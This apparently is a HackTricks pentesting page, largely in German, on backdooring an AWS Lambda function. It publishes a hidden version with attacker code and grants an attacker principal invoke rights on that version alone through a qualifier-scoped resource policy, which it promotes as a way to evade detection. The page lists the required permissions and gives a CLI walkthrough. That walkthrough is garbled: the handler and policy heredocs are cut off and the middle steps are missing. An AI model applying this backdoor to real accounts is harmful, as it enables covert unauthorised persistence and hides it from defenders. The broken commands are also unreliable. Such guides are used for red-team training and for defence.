# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version) {{#include ../../../../banners/hacktricks-training.md}} ## Zusammenfassung Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und weise mittels des Parameters `--qualifier` in `lambda add-permission` eine resource-based policy genau dieser Version (oder eines Alias) zu. Erteile nur `lambda:InvokeFunction` für `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an einen Angreifer-Principal. Normale Aufrufe über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored Version-ARN direkt aufrufen kann. Das ist unauffälliger als das Exponieren einer Function URL und ändert den primären Traffic-Alias nicht. ## Erforderliche Berechtigungen (Angreifer) - `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration` - `lambda:AddPermission` (to add version-scoped resource policy) - `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal) ## Angriffsablauf (CLI)
Versteckte Version veröffentlichen, auf Qualifier beschränkte Berechtigung hinzufügen, als Angreifer aufrufen ```bash # Vars REGION=us-east-1 TARGET_FN= # [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version # aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION" # 1) Build a small backdoor handler and publish as a new version cat > bdoor.py </dev/null cat > /tmp/invoke-policy.json </dev/null cat /tmp/ver-out.json # 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true ```
## Auswirkungen - Gewährt eine stealthy Backdoor, um eine versteckte Version der Funktion aufzurufen, ohne das primäre Alias zu ändern oder eine Function URL offenzulegen. - Beschränkt die Exposition nur auf die angegebene Version/Alias über die ressourcenbasierte Policy `Qualifier`, reduziert so die Erkennungsfläche und bewahrt gleichzeitig die zuverlässige Aufrufbarkeit für den Angreifer-Principal. {{#include ../../../../banners/hacktricks-training.md}}